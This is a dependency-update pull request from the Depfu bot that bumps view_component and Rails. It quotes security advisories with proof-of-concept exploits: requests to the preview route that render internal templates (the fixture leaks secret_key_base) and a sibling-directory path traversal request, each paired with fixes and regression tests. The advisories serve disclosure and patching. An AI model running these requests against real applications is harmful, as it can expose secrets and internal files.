Skip to content

🚨 [security] [ruby] Update view_component 4.0.2 → 4.9.0 (minor)#120

Open
depfu[bot] wants to merge 1 commit intomainfrom
depfu/update/view_component-4.9.0
Open

🚨 [security] [ruby] Update view_component 4.0.2 → 4.9.0 (minor)#120
depfu[bot] wants to merge 1 commit intomainfrom
depfu/update/view_component-4.9.0

Conversation

@depfu
Copy link
Copy Markdown
Contributor

@depfu depfu Bot commented May 9, 2026


🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ view_component (4.0.2 → 4.9.0) · Repo · Changelog

Security Advisories 🚨

🚨 view_component: Preview Route Can Dispatch Inherited Helper Methods

Summary

The preview route derives an example name from the URL and calls it with public_send. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.

As a result, inherited public methods on ViewComponent::Preview are route-reachable. The most important one is render_with_template, which accepts template: and locals:. Those values can come from request params and are later passed to Rails as render template:.

If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.

Severity: High if preview routes are externally reachable; Medium otherwise.

Affected files:

  • lib/view_component/preview.rb
  • app/controllers/concerns/view_component/preview_actions.rb
  • app/views/view_components/preview.html.erb

Relevant Code

app/controllers/concerns/view_component/preview_actions.rb:

@example_name = File.basename(params[:path])
@render_args = @preview.render_args(@example_name, params: params.permit!)

lib/view_component/preview.rb:

example_params_names = instance_method(example).parameters.map(&:last)
provided_params = params.slice(*example_params_names).to_h.symbolize_keys
result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)

app/views/view_components/preview.html.erb:

<%= render template: @render_args[:template], locals: @render_args[:locals] || {} %>

The UI only lists direct preview methods via:

public_instance_methods(false).map(&:to_s).sort

But render_args does not enforce that list before dispatching.

Exploit Flow

Example request:

GET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-request

Flow:

  1. my_component resolves to a valid preview.
  2. File.basename(params[:path]) returns render_with_template.
  3. render_args calls inherited ViewComponent::Preview#render_with_template.
  4. Request params provide template: "internal/secret" and locals: {...}.
  5. The preview view renders internal/secret with attacker-controlled locals.

Impact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.

PoC Test

This checkout already contains a PoC at:

  • test/sandbox/test/security_preview_template_poc_test.rb
  • test/sandbox/app/views/internal/secret.html.erb

The test proves that /internal/secret is not directly routable, but can still be rendered through the preview endpoint by invoking inherited render_with_template.

If reproducing manually, run:

bundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb

Equivalent standalone test:

# frozen_string_literal: true

require "test_helper"

class SecurityPreviewTemplatePocTest < ActionDispatch::IntegrationTest
def setup
ViewComponent::Preview.__vc_load_previews
end

def test_preview_route_can_invoke_inherited_render_with_template
refute_includes MyComponentPreview.examples, "render_with_template"

<span class="pl-en">assert_raises</span><span class="pl-kos">(</span><span class="pl-v">ActionController</span>::<span class="pl-v">RoutingError</span><span class="pl-kos">)</span> <span class="pl-k">do</span>
  <span class="pl-v">Rails</span><span class="pl-kos">.</span><span class="pl-en">application</span><span class="pl-kos">.</span><span class="pl-en">routes</span><span class="pl-kos">.</span><span class="pl-en">recognize_path</span><span class="pl-kos">(</span><span class="pl-s">"/internal/secret"</span><span class="pl-kos">)</span>
<span class="pl-k">end</span>

<span class="pl-en">get</span><span class="pl-kos">(</span>
  <span class="pl-s">"/rails/view_components/my_component/render_with_template"</span><span class="pl-kos">,</span>
  <span class="pl-pds">params</span>: <span class="pl-kos">{</span>
    <span class="pl-pds">template</span>: <span class="pl-s">"internal/secret"</span><span class="pl-kos">,</span>
    <span class="pl-pds">locals</span>: <span class="pl-kos">{</span><span class="pl-pds">poc_local</span>: <span class="pl-s">"attacker-controlled-local"</span><span class="pl-kos">}</span><span class="pl-kos">,</span>
    <span class="pl-pds">request_marker</span>: <span class="pl-s">"attacker-controlled-request"</span>
  <span class="pl-kos">}</span>
<span class="pl-kos">)</span>

<span class="pl-en">assert_response</span> <span class="pl-pds">:success</span>
<span class="pl-en">assert_includes</span> <span class="pl-en">response</span><span class="pl-kos">.</span><span class="pl-en">body</span><span class="pl-kos">,</span> <span class="pl-s">"VC_PREVIEW_POC_SECRET=foo"</span>
<span class="pl-en">assert_includes</span> <span class="pl-en">response</span><span class="pl-kos">.</span><span class="pl-en">body</span><span class="pl-kos">,</span> <span class="pl-s">"VC_PREVIEW_POC_LOCAL=attacker-controlled-local"</span>
<span class="pl-en">assert_includes</span> <span class="pl-en">response</span><span class="pl-kos">.</span><span class="pl-en">body</span><span class="pl-kos">,</span> <span class="pl-s">"VC_PREVIEW_POC_REQUEST=attacker-controlled-request"</span>

end
end

Fixture template:

<div id="poc-secret">VC_PREVIEW_POC_SECRET=<%= Rails.application.secret_key_base %></div>
<div id="poc-local">VC_PREVIEW_POC_LOCAL=<%= local_assigns[:poc_local] || local_assigns["poc_local"] %></div>
<div id="poc-request">VC_PREVIEW_POC_REQUEST=<%= params[:request_marker] %></div>

Suggested Fix

Only dispatch explicitly declared preview examples:

def render_args(example, params: {})
  example = example.to_s
  raise AbstractController::ActionNotFound unless examples.include?(example)

example_params_names = instance_method(example).parameters.map(&:last)
provided_params = params.slice(*example_params_names).to_h.symbolize_keys
result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)
result ||= {}
result[:template] = preview_example_template_path(example) if result[:template].nil?
@layout = nil unless defined?(@layout)
result.merge(layout: @layout)
end

Add a regression test that /rails/view_components/my_component/render_with_template fails unless render_with_template is explicitly defined as a preview example on that class.

🚨 view_component: System Test Entry Point Path Check Allows Sibling Directory Escape

Summary

The system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.

Severity: Medium; test-route scoped.

Example:

Allowed base:  /app/tmp/view_components
Outside path:  /app/tmp/view_components_evil/secret.html.erb

The outside path is not inside the base directory, but it passes:

@path.start_with?(base_path)

Relevant Code

app/controllers/view_components_system_test_controller.rb:

base_path = ::File.realpath(self.class.temp_dir)
@path = ::File.realpath(params.permit(:file)[:file], base_path)
raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)

The route then renders the resolved file:

render file: @path

Exploit Flow

Example request:

GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb

Flow:

  1. base_path resolves to .../tmp/view_components.
  2. The payload resolves to .../tmp/view_components_evil/secret.html.erb.
  3. That path is outside the intended temp directory.
  4. The string prefix check still passes.
  5. Rails renders the sibling file.

The route is mounted only in Rails.env.test?, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.

Targeted Fuzz Result

The following sibling paths passed an equivalent realpath plus start_with? harness while resolving outside the base directory:

../view_components_evil/secret.html
../view_components2/poc.html
../view_components.bak/poc.html
../view_components-old/poc.html
../view_componentsx/poc.html

PoC Test

Create test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb:

# frozen_string_literal: true

require "test_helper"
require "fileutils"

class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest
def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix
base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)
parent_dir = File.dirname(base_dir)
sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil")
outside_file = File.join(sibling_dir, "secret.html.erb")

<span class="pl-v">FileUtils</span><span class="pl-kos">.</span><span class="pl-en">mkdir_p</span><span class="pl-kos">(</span><span class="pl-s1">sibling_dir</span><span class="pl-kos">)</span>
<span class="pl-v">File</span><span class="pl-kos">.</span><span class="pl-en">write</span><span class="pl-kos">(</span><span class="pl-s1">outside_file</span><span class="pl-kos">,</span> <span class="pl-s">"&lt;div&gt;VC_SYSTEM_TEST_TRAVERSAL_POC&lt;/div&gt;"</span><span class="pl-kos">)</span>

<span class="pl-en">get</span> <span class="pl-s">"/_system_test_entrypoint"</span><span class="pl-kos">,</span> <span class="pl-pds">params</span>: <span class="pl-kos">{</span>
  <span class="pl-pds">file</span>: <span class="pl-s">"../<span class="pl-s1"><span class="pl-kos">#{</span><span class="pl-v">File</span><span class="pl-kos">.</span><span class="pl-en">basename</span><span class="pl-kos">(</span><span class="pl-s1">base_dir</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>_evil/secret.html.erb"</span>
<span class="pl-kos">}</span>

<span class="pl-en">assert_response</span> <span class="pl-pds">:success</span>
<span class="pl-en">assert_includes</span> <span class="pl-en">response</span><span class="pl-kos">.</span><span class="pl-en">body</span><span class="pl-kos">,</span> <span class="pl-s">"VC_SYSTEM_TEST_TRAVERSAL_POC"</span>

ensure
FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file
Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir)
end
end

Run:

bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb

Vulnerable behavior: the response succeeds and contains VC_SYSTEM_TEST_TRAVERSAL_POC.

Fixed behavior: the request raises ViewComponent::SystemTestControllerNefariousPathError or otherwise fails without rendering the file.

Suggested Fix

Use path-aware containment instead of a raw string prefix. For example:

def validate_file_path
  base_path = Pathname.new(::File.realpath(self.class.temp_dir))
  path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))
  relative_path = path.relative_path_from(base_path)

raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".."

@path = path.to_s
end

Or require a separator boundary:

allowed_prefix = "#{base_path}#{File::SEPARATOR}"
unless @path == base_path || @path.start_with?(allowed_prefix)
  raise ViewComponent::SystemTestControllerNefariousPathError
end

Add regression tests for:

  • A normal temp file inside tmp/view_components
  • ../../README.md
  • ../view_components_evil/secret.html.erb
  • A symlink inside the temp directory that resolves outside it
Release Notes

4.9.0

More info than we can show here.

4.8.0

More info than we can show here.

4.7.0

More info than we can show here.

4.6.0

More info than we can show here.

4.5.0

More info than we can show here.

4.4.0

More info than we can show here.

4.3.0

More info than we can show here.

4.2.0

More info than we can show here.

4.1.1

More info than we can show here.

4.1.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

✳️ rails (8.0.3 → 8.1.3) · Repo · Changelog

Release Notes

8.1.3

More info than we can show here.

8.1.2.1

More info than we can show here.

8.1.2

More info than we can show here.

8.1.1

More info than we can show here.

8.1.0

More info than we can show here.

8.0.5

More info than we can show here.

8.0.4.1

More info than we can show here.

8.0.4

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ actioncable (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ actionmailbox (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ actionmailer (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

↗️ actionpack (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Security Advisories 🚨

🚨 Rails has a possible XSS vulnerability in its Action Pack debug exceptions

Impact

The debug exceptions page does not properly escape exception messages. A carefully crafted exception message could inject arbitrary HTML and JavaScript into the page, leading to XSS. This affects applications with detailed exception pages enabled (config.consider_all_requests_local = true), which is the default in development.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher fbettag.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ actiontext (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ actionview (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Security Advisories 🚨

🚨 Rails has a possible XSS vulnerability in its Action View tag helpers

Impact

When a blank string is used as an HTML attribute name in Action View tag helpers, the attribute escaping is bypassed, producing malformed HTML. A carefully crafted attribute value could then be misinterpreted by the browser as a separate attribute name, possibly leading to XSS. Applications that allow users to specify custom HTML attributes are affected.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher taise.

🚨 Rails has a possible XSS vulnerability in its Action View tag helpers

Impact

When a blank string is used as an HTML attribute name in Action View tag helpers, the attribute escaping is bypassed, producing malformed HTML. A carefully crafted attribute value could then be misinterpreted by the browser as a separate attribute name, possibly leading to XSS. Applications that allow users to specify custom HTML attributes are affected.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher taise.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ activejob (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ activemodel (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ activerecord (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ activestorage (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

↗️ activesupport (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Security Advisories 🚨

🚨 Rails Active Support has a possible ReDoS vulnerability in number_to_delimited

Impact

NumberToDelimitedConverter used a regular expression with gsub! to insert thousands delimiters. This could produce quadratic time complexity on long digit strings.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher scyoon.

🚨 Rails Active Support has a possible XSS vulnerability in SafeBuffer#%

Impact

SafeBuffer#% does not propagate the @html_unsafe flag to the newly created buffer. If a SafeBuffer is mutated in place (e.g. via gsub!) and then formatted with % using untrusted arguments, the result incorrectly reports html_safe? == true, bypassing ERB auto-escaping and possibly leading to XSS.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by @ch4n3-yoon

🚨 Rails Active Support has a possible DoS vulnerability in its number helpers

Impact

Active Support number helpers accept strings containing scientific notation (e.g. 1e10000), which when converted to a string could be expanded into extremely large decimal representations. This can cause excessive memory allocation and CPU consumption when the expanded number is formatted, possibly resulting in a DoS vulnerability.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher manun.

🚨 Rails Active Support has a possible ReDoS vulnerability in number_to_delimited

Impact

NumberToDelimitedConverter used a regular expression with gsub! to insert thousands delimiters. This could produce quadratic time complexity on long digit strings.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher scyoon.

🚨 Rails Active Support has a possible XSS vulnerability in SafeBuffer#%

Impact

SafeBuffer#% does not propagate the @html_unsafe flag to the newly created buffer. If a SafeBuffer is mutated in place (e.g. via gsub!) and then formatted with % using untrusted arguments, the result incorrectly reports html_safe? == true, bypassing ERB auto-escaping and possibly leading to XSS.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by @ch4n3-yoon

🚨 Rails Active Support has a possible DoS vulnerability in its number helpers

Impact

Active Support number helpers accept strings containing scientific notation (e.g. 1e10000), which when converted to a string could be expanded into extremely large decimal representations. This can cause excessive memory allocation and CPU consumption when the expanded number is formatted, possibly resulting in a DoS vulnerability.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher manun.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ bigdecimal (indirect, 3.3.1 → 4.1.2) · Repo · Changelog

Release Notes

4.1.2

More info than we can show here.

4.1.1

More info than we can show here.

4.1.0

More info than we can show here.

4.0.1

More info than we can show here.

4.0.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ concurrent-ruby (indirect, 1.3.5 → 1.3.6) · Repo · Changelog

Release Notes

1.3.6

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ connection_pool (indirect, 2.5.4 → 3.0.2) · Repo · Changelog

Release Notes

3.0.2 (from changelog)

More info than we can show here.

3.0.1 (from changelog)

More info than we can show here.

3.0.0 (from changelog)

More info than we can show here.

2.5.5 (from changelog)

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ i18n (indirect, 1.14.7 → 1.14.8) · Repo · Changelog

Release Notes

1.14.8

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ minitest (indirect, 5.26.0 → 6.0.6) · Repo · Changelog

Release Notes

6.0.6 (from changelog)

More info than we can show here.

6.0.5 (from changelog)

More info than we can show here.

6.0.4 (from changelog)

More info than we can show here.

6.0.3 (from changelog)

More info than we can show here.

6.0.2 (from changelog)

More info than we can show here.

6.0.1 (from changelog)

More info than we can show here.

6.0.0 (from changelog)

More info than we can show here.

5.27.0 (from changelog)

More info than we can show here.

5.26.2 (from changelog)

More info than we can show here.

5.26.1 (from changelog)

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ railties (indirect, 8.0.3 → 8.1.3) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ uri (indirect, 1.0.4 → 1.1.1) · Repo · Changelog

Release Notes

1.1.1

More info than we can show here.

1.1.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🆕 action_text-trix (added, 2.1.18)

🗑️ benchmark (removed)


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

@depfu depfu Bot added the depfu label May 9, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants